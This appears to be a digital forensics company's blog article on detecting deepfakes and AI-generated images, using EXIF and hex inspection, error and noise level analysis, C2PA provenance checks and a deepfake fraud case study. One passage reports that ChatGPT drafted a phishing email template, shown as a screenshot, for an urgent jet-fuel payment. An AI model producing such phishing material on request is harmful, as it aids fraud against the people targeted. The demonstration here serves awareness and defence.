&lt;p&gt;AI-generated fakes use advanced machine learning models, such as Generative Adversarial Networks (GANs), to create highly realistic but fraudulent digital artefacts. These include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Deepfake Videos&lt;/strong&gt;: Manipulated videos where individuals appear to say or do things they never did.&lt;br&gt;
Examples of deepfake manipulations from YouTube. Top row: altered videos; bottom row: original videos. Notably, in the authentic videos, Obama and Trump are portrayed by comedic impersonators:&lt;/li&gt;
&lt;/ul&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/tackling-ai-threats-advanced-dfir-methods-and-tools-for-deepfake-detection/01-79a4b3c5.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/tackling-ai-threats-advanced-dfir-methods-and-tools-for-deepfake-detection/w800/01-79a4b3c5.webp 800w, https://jwdfir.com/images/articles/tackling-ai-threats-advanced-dfir-methods-and-tools-for-deepfake-detection/01-79a4b3c5.webp 1040w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/tackling-ai-threats-advanced-dfir-methods-and-tools-for-deepfake-detection/01-79a4b3c5.webp&quot; alt=&quot;Grid of five face pairs, altered deepfake frames on top and originals below, with subtle differences in the faces&quot; width=&quot;1040&quot; height=&quot;402&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/figure&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Synthetic Documents&lt;/strong&gt;: Perfectly crafted fake contracts, IDs, or emails designed to deceive.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Audio Forgeries&lt;/strong&gt;: AI-generated voice clips mimicking real individuals.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Fabricated Logs or Metadata&lt;/strong&gt;: Altered digital records to mislead forensic investigations.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AI-Generated Images&lt;/strong&gt;: Realistic but fake stock photos or portraits created to deceive, often embedded in phishing campaigns.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These sophisticated fakes are often indistinguishable from authentic data using traditional analysis methods.&lt;/p&gt;
&lt;h2 id=&quot;technical-methods-to-identify-ai-generated-fakes&quot;&gt;Technical methods to identify AI-generated fakes&lt;/h2&gt;
&lt;p&gt;To counter these threats DFIR teams are adopting advanced techniques:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Digital fingerprinting and watermarking&lt;/strong&gt;: Detect inconsistencies in compression, colour gradients, or metadata, and use blockchain-backed digital signatures to verify source integrity.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AI-powered forensic analysis&lt;/strong&gt;: Analyse patterns to detect synthetic artefacts and use adversarial training to identify GAN-generated content.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Behavioural analysis&lt;/strong&gt;: Identify inconsistencies in speech or actions and analyse if the content logically aligns with surrounding data.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hardware-based forensics&lt;/strong&gt;: Extract unique noise patterns from images and analyse file creation and modification timestamps for anomalies.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Image-specific forensic techniques&lt;/strong&gt;: Examine EXIF data for anomalies, identify pixel-level irregularities, and conduct reverse image searches to verify the provenance of images.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;some-fun-before-we-get-stuck-in&quot;&gt;Some fun before we get stuck in…&lt;/h2&gt;
&lt;p&gt;Everyone remembers both of Ken Munro’s Ted Talks, right? Or was it our Head of DFIR Luke Davis delivering the talk?&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/tackling-ai-threats-advanced-dfir-methods-and-tools-for-deepfake-detection/02-cc4f1409.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/tackling-ai-threats-advanced-dfir-methods-and-tools-for-deepfake-detection/w800/02-cc4f1409.webp 800w, https://jwdfir.com/images/articles/tackling-ai-threats-advanced-dfir-methods-and-tools-for-deepfake-detection/02-cc4f1409.webp 945w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/tackling-ai-threats-advanced-dfir-methods-and-tools-for-deepfake-detection/02-cc4f1409.webp&quot; alt=&quot;Man in a grey jumper speaking on a TEDx stage, with an enlarged inset of his face&quot; width=&quot;945&quot; height=&quot;470&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/figure&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/tackling-ai-threats-advanced-dfir-methods-and-tools-for-deepfake-detection/03-af15a110.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/tackling-ai-threats-advanced-dfir-methods-and-tools-for-deepfake-detection/w800/03-af15a110.webp 800w, https://jwdfir.com/images/articles/tackling-ai-threats-advanced-dfir-methods-and-tools-for-deepfake-detection/03-af15a110.webp 945w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/tackling-ai-threats-advanced-dfir-methods-and-tools-for-deepfake-detection/03-af15a110.webp&quot; alt=&quot;Same TEDx stage scene with a different, AI-altered face in the enlarged inset, showing how convincingly AI can swap a face&quot; width=&quot;945&quot; height=&quot;471&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/figure&gt;
&lt;p&gt;Let’s take a moment to appreciate how good AI is at bending reality.&lt;/p&gt;
&lt;p&gt;The Ken Munro / Luke Davis TED Talk example isn’t just a quirky illustration, it’s a glimpse into the challenges we’re facing. Deepfakes and synthetic media aren’t funhouse mirrors, they’re precision tools for deception.&lt;/p&gt;
&lt;p&gt;For DFIR teams, this means adapting to a world where even the most convincing looking evidence could be a forgery. It’s not just about catching the obvious glitches (although GANs sometimes leave those weird quirks like cloned backgrounds or overly smooth skin).&lt;/p&gt;
&lt;p&gt;It’s about a full-spectrum approach: cross-checking metadata, verifying sources, and even examining behavioural context, because AI fakes are as much about what feels off as what looks off.&lt;/p&gt;
&lt;h2 id=&quot;digital-forensic-analysis-of-ai-generated-media&quot;&gt;Digital forensic analysis of AI generated media&lt;/h2&gt;
&lt;p&gt;Now, let’s delve into the forensic analysis of AI-generated images and uncover the clues that distinguish the real from the fake. Below we have an image featuring two familiar faces. One who traded in the US presidency for a spot at PTP, and the other who left behind Arsenal’s predictable football for a more thrilling (though arguably more miserable) existence as a Spurs fan.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/tackling-ai-threats-advanced-dfir-methods-and-tools-for-deepfake-detection/04-bf09a116.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/tackling-ai-threats-advanced-dfir-methods-and-tools-for-deepfake-detection/w800/04-bf09a116.webp 800w, https://jwdfir.com/images/articles/tackling-ai-threats-advanced-dfir-methods-and-tools-for-deepfake-detection/04-bf09a116.webp 936w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/tackling-ai-threats-advanced-dfir-methods-and-tools-for-deepfake-detection/04-bf09a116.webp&quot; alt=&quot;Two side-by-side AI-generated portraits: a smirking man in a hoodie reading &apos;CLICHED H4XOR&apos;, and a man in a football shirt&quot; width=&quot;936&quot; height=&quot;338&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/figure&gt;
&lt;h3 id=&quot;metadata-analysis&quot;&gt;Metadata Analysis&lt;/h3&gt;
&lt;p&gt;EXIF (Exchangeable Image File Format) data is a type of metadata embedded in image files, capturing key details about how, when, and where a photo was taken. For AI-generated images, this data can provide crucial clues about the image’s origins.&lt;/p&gt;
&lt;p&gt;Metadata analysis is just as much about what &lt;em&gt;isn’t&lt;/em&gt; there. ’Real’ images may have metadata showing things like camera model, exposure settings, and GPS coordinates, AI-generated images might not contain this same information, or it could be fabricated to mislead. The above images have been ingested into exiftool.exe and the results are as follows:&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/tackling-ai-threats-advanced-dfir-methods-and-tools-for-deepfake-detection/05-c419bd11.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/tackling-ai-threats-advanced-dfir-methods-and-tools-for-deepfake-detection/w800/05-c419bd11.webp 800w, https://jwdfir.com/images/articles/tackling-ai-threats-advanced-dfir-methods-and-tools-for-deepfake-detection/05-c419bd11.webp 1266w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/tackling-ai-threats-advanced-dfir-methods-and-tools-for-deepfake-detection/05-c419bd11.webp&quot; alt=&quot;Exiftool output for the AI image showing file dates and type, with the Comment field containing the Grok image prompts&quot; width=&quot;1266&quot; height=&quot;338&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/figure&gt;
&lt;p&gt;Above shows the Exif data sitting behind the file. We have created, modified, and accessed dates, as well as information on the file type, size etc. but the Exif data of note is in the ‘Comment’ field. This shows my poor prompt usage to create the images, as well as Grok’s ‘Up sampled’ prompts.&lt;/p&gt;
&lt;h3 id=&quot;hexadecimal-analysis&quot;&gt;Hexadecimal Analysis&lt;/h3&gt;
&lt;p&gt;Hex editors are powerful tools that allow you to view and edit the raw byte-level data of files, including images. These editors display the data in hexadecimal format, which is a base-16 numbering system. By analysing an image file in a hex editor, you can uncover hidden information such as embedded prompts or metadata. This process involves several key steps:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Viewing raw data&lt;/strong&gt;: Hex editors provide a detailed view of the file’s raw data, showing the exact byte-level composition. This allows forensic analysts to see beyond what standard image viewers display, revealing hidden or embedded information.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Identifying embedded prompts&lt;/strong&gt;: AI-generated images, especially those created using text-to-image models, may contain embedded prompts or instructions used during the generation process. By examining the hexadecimal data, analysts can locate these embedded prompts, which can provide clues about the image’s origin and the AI model used.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Detecting metadata&lt;/strong&gt;: In addition to EXIF data, other types of metadata can be embedded within the image file. Hexadecimal analysis can uncover this metadata, which might include information about the software, or tools used to create or modify the image. This can help in identifying whether the image has been manipulated or generated by AI.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tracing file modifications&lt;/strong&gt;: Hexadecimal analysis can also reveal patterns or signatures left by specific image editing tools. Different tools may leave unique byte-level signatures in the file, allowing forensic analysts to trace the modifications back to the specific software used.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Uncovering hidden data&lt;/strong&gt;: Sometimes, additional data or messages can be hidden within the image file using techniques like steganography. Hexadecimal analysis can help uncover these hidden messages by revealing anomalies or unexpected data patterns within the file.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;By using hex editors to perform a detailed byte-level analysis, forensic experts can gather valuable information about the origins and authenticity of AI-generated images, helping to distinguish real images from fakes. Below is a screenshot showing the prompt used to generate the AI image. This approach reveals the underlying data that helps us trace the image back to its roots.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/tackling-ai-threats-advanced-dfir-methods-and-tools-for-deepfake-detection/06-d9fde196.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/tackling-ai-threats-advanced-dfir-methods-and-tools-for-deepfake-detection/w800/06-d9fde196.webp 800w, https://jwdfir.com/images/articles/tackling-ai-threats-advanced-dfir-methods-and-tools-for-deepfake-detection/06-d9fde196.webp 991w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/tackling-ai-threats-advanced-dfir-methods-and-tools-for-deepfake-detection/06-d9fde196.webp&quot; alt=&quot;Hex editor view of the image file with the embedded Grok image prompt text highlighted in the decoded text pane&quot; width=&quot;991&quot; height=&quot;545&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/figure&gt;
&lt;h3 id=&quot;error-level-analysis-ela&quot;&gt;Error Level Analysis (ELA)&lt;/h3&gt;
&lt;p&gt;ELA is a forensic technique used to identify areas of an image that have been altered. It works by re-saving the image at a lower quality and then comparing the differences between the original and the re-saved image. Here’s how it can be used to detect AI-generated content:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Detecting Deepfakes: ELA can reveal inconsistencies in areas like facial features, lighting, and shadows in deepfake videos or images.&lt;/li&gt;
&lt;li&gt;Identifying Synthetic Documents: For documents, ELA can highlight areas where text or signatures have been digitally inserted or modified.&lt;/li&gt;
&lt;li&gt;Spotting AI-Generated Images: AI-generated images may have uniform noise patterns or other artefacts that can be detected through ELA.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Take this image of our Head of DFIR, Luke Davis delivering Ken’s Ted Talk.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/tackling-ai-threats-advanced-dfir-methods-and-tools-for-deepfake-detection/07-59ac8331.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/tackling-ai-threats-advanced-dfir-methods-and-tools-for-deepfake-detection/w800/07-59ac8331.webp 800w, https://jwdfir.com/images/articles/tackling-ai-threats-advanced-dfir-methods-and-tools-for-deepfake-detection/07-59ac8331.webp 1074w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/tackling-ai-threats-advanced-dfir-methods-and-tools-for-deepfake-detection/07-59ac8331.webp&quot; alt=&quot;Error Level Analysis of the TEDx photo: dark, low-contrast noise with a bright patch on the face in the right-hand panel&quot; width=&quot;1074&quot; height=&quot;298&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/figure&gt;
&lt;p&gt;The image doesn’t look very deceiving now, does it? (&lt;a href=&quot;https://29a.ch/photo-forensics/&quot;&gt;https://29a.ch/photo-forensics/&lt;/a&gt;)&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/tackling-ai-threats-advanced-dfir-methods-and-tools-for-deepfake-detection/08-71105e19.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/tackling-ai-threats-advanced-dfir-methods-and-tools-for-deepfake-detection/w800/08-71105e19.webp 800w, https://jwdfir.com/images/articles/tackling-ai-threats-advanced-dfir-methods-and-tools-for-deepfake-detection/08-71105e19.webp 1180w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/tackling-ai-threats-advanced-dfir-methods-and-tools-for-deepfake-detection/08-71105e19.webp&quot; alt=&quot;Two near-identical frames of the speaker on stage, side by side, one original and one altered, with no obvious visible difference&quot; width=&quot;1180&quot; height=&quot;331&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/figure&gt;
&lt;h3 id=&quot;noise-level-analysis-nla&quot;&gt;Noise Level Analysis (NLA)&lt;/h3&gt;
&lt;p&gt;NLA is a forensic technique used to identify inconsistencies in an image by examining the noise levels across different regions. Noise refers to the random variations in brightness or colour information in images. While similar to Error Level Analysis (ELA), which focuses on detecting differences in compression levels, NLA specifically looks at noise patterns to uncover manipulation. Here’s how NLA can be used to detect AI-generated content:&lt;/p&gt;
&lt;p&gt;Using NLA to detect AI content:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Analysing Texture Consistency: NLA can reveal variations in texture that are not consistent with the rest of the image, indicating possible manipulation.&lt;/li&gt;
&lt;li&gt;Examining Background Noise: By comparing the noise levels in the background with those in the main subject, NLA can detect discrepancies that suggest digital alterations.&lt;/li&gt;
&lt;li&gt;Assessing Uniformity in Noise Patterns: AI-generated images might have uniform noise patterns that differ from natural images. NLA can identify these uniform patterns, pointing to potential AI generation.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Original:&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/tackling-ai-threats-advanced-dfir-methods-and-tools-for-deepfake-detection/09-9c3a3e08.webp&quot; alt=&quot;Noise level analysis of the original frame: coloured noise outlines the speaker and stage with an even texture&quot; width=&quot;843&quot; height=&quot;474&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/figure&gt;
&lt;p&gt;Altered:&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/tackling-ai-threats-advanced-dfir-methods-and-tools-for-deepfake-detection/10-10b1784f.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/tackling-ai-threats-advanced-dfir-methods-and-tools-for-deepfake-detection/w800/10-10b1784f.webp 800w, https://jwdfir.com/images/articles/tackling-ai-threats-advanced-dfir-methods-and-tools-for-deepfake-detection/10-10b1784f.webp 971w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/tackling-ai-threats-advanced-dfir-methods-and-tools-for-deepfake-detection/10-10b1784f.webp&quot; alt=&quot;Noise level analysis of the altered frame, where the face region shows a visibly different, denser noise pattern&quot; width=&quot;971&quot; height=&quot;541&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/figure&gt;
&lt;h3 id=&quot;using-c2pa-for-cryptographic-provenance-analysis&quot;&gt;Using C2PA for Cryptographic Provenance Analysis&lt;/h3&gt;
&lt;p&gt;The Coalition for Content Provenance and Authenticity (&lt;a href=&quot;https://c2pa.org/&quot;&gt;C2PA&lt;/a&gt;) is tackling the issue of misleading information online by creating technical standards to certify the source and history (provenance) of media content. This initiative is a collaborative effort by Adobe, Arm, Intel, Microsoft, and Truepic, under the &lt;a href=&quot;https://jointdevelopment.org/&quot;&gt;Joint Development Foundation&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In 2024, OpenAI integrated C2PA media provenance metadata into images generated by DALL·E 3 through ChatGPT and its API. This development helps distinguish AI-generated content from human-created content, enhancing transparency and trust in digital media.&lt;/p&gt;
&lt;p&gt;By implementing these standards, C2PA aims to provide a reliable way to verify the authenticity of media, making it easier to identify and trust the origins of the content we encounter online.&lt;/p&gt;
&lt;p&gt;Let’s inspect the below image, created by ChatGPT.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/tackling-ai-threats-advanced-dfir-methods-and-tools-for-deepfake-detection/11-eea2189e.webp&quot; alt=&quot;ChatGPT conversation: prompt for an inflatable pilot in a Concorde cockpit and the cartoon-style image it generated&quot; width=&quot;846&quot; height=&quot;488&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/figure&gt;
&lt;p&gt;I have saved the image created by ChatGPT to inspect the manifest fields of this image. I used &lt;a href=&quot;https://opensource.contentauthenticity.org/docs/c2patool/&quot;&gt;c2patool&lt;/a&gt;, a command line tool for working with C2PA manifests and media assets, to get this notable output:&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/tackling-ai-threats-advanced-dfir-methods-and-tools-for-deepfake-detection/12-fa19f673.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/tackling-ai-threats-advanced-dfir-methods-and-tools-for-deepfake-detection/w800/12-fa19f673.webp 800w, https://jwdfir.com/images/articles/tackling-ai-threats-advanced-dfir-methods-and-tools-for-deepfake-detection/12-fa19f673.webp 972w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/tackling-ai-threats-advanced-dfir-methods-and-tools-for-deepfake-detection/12-fa19f673.webp&quot; alt=&quot;c2patool manifest output showing a c2pa.created action, a trained algorithmic media source type, DALL-E and ChatGPT as generators&quot; width=&quot;972&quot; height=&quot;410&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/figure&gt;
&lt;p&gt;The &lt;a href=&quot;https://contentcredentials.org/verify&quot;&gt;Content Credentials tool&lt;/a&gt; is a more user-friendly way to review this data. You can use it to inspect a limited number of manifest fields e.g.:&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/tackling-ai-threats-advanced-dfir-methods-and-tools-for-deepfake-detection/13-fe784a58.webp&quot; alt=&quot;Content Credentials page for the pilot image, stating it was generated with an AI tool, issued by OpenAI on 10 January 2025&quot; width=&quot;851&quot; height=&quot;442&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/figure&gt;
&lt;h2 id=&quot;the-threat-to-dfir&quot;&gt;The threat to DFIR&lt;/h2&gt;
&lt;p&gt;AI-generated fakes disrupt every phase of DFIR operations:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Compromised evidence Integrity&lt;/strong&gt;: Forgeries can obscure the truth or introduce doubt about the authenticity of critical evidence.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overwhelmed analysts&lt;/strong&gt;: The sheer volume and quality of these fakes strain forensic teams.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Evasion tactics&lt;/strong&gt;: By manipulating metadata or embedding fakes within legitimate datasets, attackers complicate detection and attribution.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Data poisoning&lt;/strong&gt;: Attackers may introduce fakes into training datasets, corrupting AI-driven forensic tools.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;the-rise-of-malicious-ai-use&quot;&gt;The rise of malicious AI use&lt;/h2&gt;
&lt;p&gt;The use of AI for malicious purposes is already prevalent and is only expected to rise. Individuals and organisations need to be aware of the Tactics, Techniques, and Procedures (TTPs) related to AI being used maliciously. These include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Automated phishing attacks&lt;/strong&gt;: AI can craft highly personalised phishing emails that are difficult to distinguish from legitimate communications. Let’s see how easy it is to create a phishing email template with AI, using ChatGPT… Here’s Otto’s phishing draft!&lt;/li&gt;
&lt;/ul&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;img src=&quot;https://jwdfir.com/images/articles/tackling-ai-threats-advanced-dfir-methods-and-tools-for-deepfake-detection/14-726cf6b8.webp&quot; srcset=&quot;https://jwdfir.com/images/articles/tackling-ai-threats-advanced-dfir-methods-and-tools-for-deepfake-detection/w800/14-726cf6b8.webp 800w, https://jwdfir.com/images/articles/tackling-ai-threats-advanced-dfir-methods-and-tools-for-deepfake-detection/14-726cf6b8.webp 959w&quot; sizes=&quot;(max-width: 760px) calc(100vw - 32px), 720px&quot; data-full=&quot;https://jwdfir.com/images/articles/tackling-ai-threats-advanced-dfir-methods-and-tools-for-deepfake-detection/14-726cf6b8.webp&quot; alt=&quot;ChatGPT-written phishing email template asking for urgent payment for jet fuel, with fake account details and sender placeholder&quot; width=&quot;959&quot; height=&quot;445&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/figure&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Deepfake scams&lt;/strong&gt;: Attackers use deepfake technology to impersonate executives or other trusted individuals to authorise fraudulent transactions.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AI-driven malware&lt;/strong&gt;: AI can enhance malware capabilities, making it more adaptive and harder to detect.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Social engineering&lt;/strong&gt;: AI can analyse social media profiles to create convincing social engineering attacks.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Data manipulation&lt;/strong&gt;: AI can be used to alter data in ways that are difficult to detect, undermining the integrity of information systems&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;case-study-the-25-million-deepfake-scam&quot;&gt;Case study: The $25 million deepfake scam&lt;/h2&gt;
&lt;p&gt;In 2024, a global engineering firm fell victim to a &lt;a href=&quot;https://edition.cnn.com/2024/05/16/tech/arup-deepfake-scam-loss-hong-kong-intl-hnk/index.html&quot;&gt;sophisticated cyberattack that used deepfake technology&lt;/a&gt;, resulting in a $25 million loss.&lt;/p&gt;
&lt;h3 id=&quot;what-happened&quot;&gt;What happened?&lt;/h3&gt;
&lt;p&gt;Attackers created an incredibly convincing video deepfake of the company’s CFO. During a video call, the fake CFO instructed a senior financial employee to urgently authorize several large fund transfers, citing a critical business deal. Trusting the authenticity of the call, the employee approved the transfers, unwittingly sending the funds to fraudulent accounts.&lt;/p&gt;
&lt;p&gt;DFIR analysts played a key role in uncovering the scam:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Video analysis:&lt;/strong&gt; Experts detected subtle signs of deepfake manipulation, such as inconsistencies in lighting and minor irregularities in speech synchronization.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Transaction tracking&lt;/strong&gt;: Investigators traced the funds through a web of international accounts, though recovery efforts were hampered by their rapid dispersal.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Process review:&lt;/strong&gt; The company identified weaknesses in its financial controls and implemented stricter verification protocols, including multi-channel confirmation for high-value transactions.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This case underscores the importance of combining technology, training, and robust incident response to counter increasingly sophisticated cyber threats.&lt;/p&gt;
&lt;h2 id=&quot;the-intrinsic-weaknesses-of-ai-generated-fakes&quot;&gt;The intrinsic weaknesses of AI-generated fakes&lt;/h2&gt;
&lt;p&gt;While advanced, AI-generated fakes are not infallible. Their vulnerabilities include:&lt;/p&gt;
&lt;h3 id=&quot;pattern-predictability&quot;&gt;Pattern predictability&lt;/h3&gt;
&lt;p&gt;GANs often leave artefacts that can be systematically identified.&lt;/p&gt;
&lt;p&gt;Repetitive Features: AI-generated images often exhibit repeated textures, such as duplicated strands of hair, unnatural patterns in backgrounds, or overly smooth skin, which differ from the variability seen in real images.&lt;/p&gt;
&lt;h3 id=&quot;operational-costs&quot;&gt;Operational costs&lt;/h3&gt;
&lt;p&gt;Creating high-quality fakes requires substantial computational resources.&lt;/p&gt;
&lt;p&gt;Creating a realistic high-quality deepfake, such as a fabricated video of a public figure, requires significant computational resources. Generating smooth lip-sync, natural facial expressions, and high-resolution outputs often demands the use of powerful GPUs or cloud computing services, which can incur high costs. This resource-intensive process makes it challenging for low-budget actors to produce convincing fakes.&lt;/p&gt;
&lt;h3 id=&quot;regulatory-pressure&quot;&gt;Regulatory pressure&lt;/h3&gt;
&lt;p&gt;As awareness grows, attackers face greater scrutiny and risks.&lt;/p&gt;
&lt;p&gt;In the UK, initiatives like the &lt;strong&gt;Online Safety Bill&lt;/strong&gt; aim to regulate harmful online content, including deepfakes. Platforms may face fines of up to £18 million or 10% of their global turnover for failing to address deepfake content, significantly increasing scrutiny and discouraging attackers from sharing such manipulations.&lt;/p&gt;
&lt;h2 id=&quot;how-to-detect-and-mitigate-these-issues&quot;&gt;How to detect and mitigate these issues&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Educate and train:&lt;/strong&gt; Regularly educate employees and stakeholders about the risks of AI-generated fakes and how to identify them. Training should include recognizing signs of deepfakes, synthetic documents, and other AI-generated content.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Implement verification protocols:&lt;/strong&gt; Establish robust verification protocols for high-value transactions and sensitive communications. This can include multi-factor authentication, multi-channel confirmation, and digital signatures.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Promote a culture of scepticism:&lt;/strong&gt; Encourage a culture where employees are sceptical of unsolicited communications and verify the authenticity of suspicious content.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Collaborate with experts:&lt;/strong&gt; Work with cybersecurity experts, forensic analysts, and academic researchers to stay updated on the latest detection techniques and threats.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Adopt digital signatures:&lt;/strong&gt; Where appropriate, use digital signatures to verify the authenticity and integrity of documents, media, and other digital content. it can be worthwhile in certain cases, such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Official documents:&lt;/strong&gt; Ensuring that contracts, IDs, and other critical documents are genuine.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Media content:&lt;/strong&gt; Verifying the source of videos and images, especially in journalism and legal contexts.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Software and code:&lt;/strong&gt; Ensuring that software updates and code repositories have not been tampered with.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;conclusion-staying-ahead-in-the-ai-arms-race&quot;&gt;Conclusion: Staying ahead in the AI arms race&lt;/h2&gt;
&lt;p&gt;AI-generated fakes are a formidable challenge for DFIR teams, but not an insurmountable one. By leveraging advanced detection methods, fostering collaboration, and investing in continuous training, practitioners can maintain their edge. As AI continues to evolve, so must the tools and strategies of DFIR professionals. The key lies in staying proactive, adaptable, and relentless in the pursuit of truth in an increasingly deceptive digital world.&lt;/p&gt;
&lt;h2 id=&quot;recommendations&quot;&gt;Recommendations&lt;/h2&gt;
&lt;p&gt;Training employees to spot AI-driven threats is essential for minimising risks. Regularly educate your team on how to recognize AI-enhanced phishing emails, fake media, and social engineering attempts to ensure they are well-prepared.&lt;/p&gt;
&lt;p&gt;It is important to verify before trusting any communication. Promoting a culture of scepticism within your organisation can help achieve this. Encourage employees to double-check the authenticity of any unsolicited communication or content that appears suspicious.&lt;/p&gt;
&lt;p&gt;Enhancing incident response plans is crucial for dealing with emerging AI-related threats. Updating your incident response strategy ensures your team is prepared to quickly identify and contain attacks driven by artificial intelligence.&lt;/p&gt;
